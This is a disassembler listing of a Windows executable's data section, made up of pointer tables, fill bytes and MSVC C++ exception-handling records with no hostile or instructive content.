		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 4
		dd 31Bh	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403720+3FEo
off_43F004	dd offset dword_437AC0	; DATA XREF: sub_403CC0+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BC0+4o
					; sub_409C20+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AEA0+2o
					; sub_40AEF0+1Co
		dd offset dword_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1F8o
					; sub_40B250+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B8A6r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6D0+157o
					; sub_40FE70+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6D0+142o
					; sub_40FE70+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_411930+36o
					; sub_4119E0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041325Do
					; sub_4132F0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset sub_4019CE	; DATA XREF: sub_416D00+6o
					; sub_417EF0+8o
		dd offset sub_4020C7
		dd 0
off_43F05C	dd offset loc_401CAD	; DATA XREF: sub_416D60+6o
					; sub_417F20+8o
		dd offset sub_401230
		align 8
off_43F068	dd offset loc_401929	; DATA XREF: sub_416DC0o sub_41FCD0+8o
		dd offset sub_401CF3
		dd 0
off_43F074	dd offset sub_40111D	; DATA XREF: sub_416E10o
					; sub_4191B0+36o
off_43F078	dd offset loc_4014AB	; DATA XREF: sub_417CC0+68o
off_43F07C	dd offset sub_401064	; DATA XREF: sub_417D60+8Bo
off_43F080	dd offset sub_40138E	; DATA XREF: sub_417E30+74o
off_43F084	dd offset loc_401B81	; DATA XREF: sub_417F50+7Bo
off_43F088	dd offset loc_40204A	; DATA XREF: sub_418010+7Bo
off_43F08C	dd offset loc_401F3C	; DATA XREF: sub_4180D0+3Eo
off_43F090	dd offset sub_401FE1	; DATA XREF: sub_418150+8o
off_43F094	dd offset loc_401FF5	; DATA XREF: sub_418180+3Eo
off_43F098	dd offset sub_401E6A	; DATA XREF: sub_418200+3Eo
off_43F09C	dd offset loc_40100A	; DATA XREF: sub_418280+10o
off_43F0A0	dd offset loc_4010B4	; DATA XREF: sub_4182B0+4Bo
off_43F0A4	dd offset sub_401BB8	; DATA XREF: sub_418330+10o
off_43F0A8	dd offset sub_40171C	; DATA XREF: sub_418360+10o
off_43F0AC	dd offset sub_40161D	; DATA XREF: sub_418390+6Bo
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0E0+Do sub_41B140o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B4A2o
					; ___:0041B58Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_41D860+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_4277B0+6Ao
					; sub_427850+1Do
		dd offset sub_401A78
		dd offset dword_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429120+7Ao
					; sub_4291E0+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset dword_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_429540+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42ACB0+32o
					; sub_42AD50+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset dword_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset dword_437AF0+11h ; DATA XREF:	___:off_444898o
					; ___:off_4448B8o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448C90	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448C90
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset dword_4382C8+0B28h
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 1, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	2 dup(0)
dword_43F730	dd 19930520h, 2, 43F750h, 5 dup(0)		dd 0FFFFFFFFh, 4392B0h,	0
		dd offset loc_4392B8
		dd 2 dup(0)
dword_43F768	dd 19930520h, 2, 43F788h, 5 dup(0)		dd 0FFFFFFFFh, 4392E0h,	0
		dd offset loc_4392E8
		align 10h
dword_43F7A0	dd 19930520h, 1, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	2 dup(0)
dword_43F7D0	dd 19930520h, 7, 43F7F0h, 5 dup(0)		dd 0FFFFFFFFh, 439330h,	0
		dd offset loc_439338
		dd 1, 439343h, 2, 439351h, 3, 43935Fh, 4, 43936Dh, 5, 43937Bh
		dd 2 dup(0)
dword_43F830	dd 19930520h, 7, 43F850h, 5 dup(0)		dd 0FFFFFFFFh, 4393B0h,	0
		dd offset loc_4393B8
		dd 1, 4393C3h, 2, 4393D1h, 3, 4393DFh, 4, 4393EDh, 5, 4393FBh
		dd 2 dup(0)
dword_43F890	dd 19930520h, 11h, 43F8B0h, 5 dup(0)		dd 0FFFFFFFFh, 439430h,	0FFFFFFFFh, 439438h, 0FFFFFFFFh
		dd 439440h, 0FFFFFFFFh,	439448h, 0FFFFFFFFh, 439450h, 0FFFFFFFFh
		dd 439458h, 0FFFFFFFFh,	439460h, 0FFFFFFFFh, 439468h, 0FFFFFFFFh
		dd 439470h, 0FFFFFFFFh,	439478h, 0FFFFFFFFh, 439480h, 0FFFFFFFFh
		dd 439488h, 0FFFFFFFFh,	439490h, 0FFFFFFFFh, 439498h, 0FFFFFFFFh
		dd 4394A0h, 0Eh, 4394A8h, 0Eh, 4394B0h,	4 dup(0)
dword_43F948	dd 19930520h, 0Bh, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 4394F0h,	0
		dd offset loc_4394F8
		dd 0FFFFFFFFh, 439500h,	2, 439508h, 0FFFFFFFFh,	439510h
		dd 0FFFFFFFFh, 439518h,	0FFFFFFFFh, 439520h, 0FFFFFFFFh
		dd 439528h, 7, 439533h,	7, 43953Bh, 9, 439543h,	4 dup(0)
dword_43F9D0	dd 19930520h, 31h, 43F9F0h, 5 dup(0)		dd 0FFFFFFFFh, 439570h,	0
		dd offset loc_43957B
		dd 0
		dd offset loc_439586
		dd 0FFFFFFFFh, 439591h,	0FFFFFFFFh, 43959Ch, 4,	4395A7h
		dd 0FFFFFFFFh, 4395B2h,	6, 4395BDh, 6, 4395C8h,	8, 4395D3h
		dd 0FFFFFFFFh, 4395DEh,	0Ah, 4395E9h, 0Ah, 4395F4h, 0Ah
		dd 4395FFh, 0Ah, 43960Ah, 0Ah, 439615h,	0Ah, 439620h, 0FFFFFFFFh
		dd 43962Bh, 11h, 439636h, 11h, 439641h,	0FFFFFFFFh, 43964Ch
		dd 0FFFFFFFFh, 439657h,	15h, 439662h, 0FFFFFFFFh, 43966Dh
		dd 0FFFFFFFFh, 439678h,	18h, 439683h, 0FFFFFFFFh, 43968Eh
		dd 0FFFFFFFFh, 439699h,	0FFFFFFFFh, 4396A4h, 0FFFFFFFFh
		dd 4396AFh, 1Dh, 4396BAh, 1Dh, 4396C5h,	1Dh, 4396D0h, 1Dh
		dd 4396DBh, 1Dh, 4396E6h, 22h, 4396F1h,	22h, 4396FCh, 22h
		dd 439707h, 22h, 439712h, 22h, 43971Dh,	22h, 439728h, 22h
		dd 439733h, 22h, 43973Eh, 22h, 439749h,	22h, 439754h, 22h
		dd 43975Fh, 22h, 43976Ah, 22h, 439775h,	22h, 439780h, 0Ch dup(0)
dword_43FBA8	dd 19930520h, 2, 43FBC8h, 5 dup(0)		dd 0FFFFFFFFh, 439828h,	0
		dd offset loc_439820
		align 10h
dword_43FBE0	dd 19930520h, 2, 43FC00h, 5 dup(0)		dd 0FFFFFFFFh, 43986Bh,	0
		dd offset loc_439860
		dd 2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_444898
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448B8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA77o
		dd offset dword_437D54+1D2h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
dword_440140	dd 19930520h, 1, 440160h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF32
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0B1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
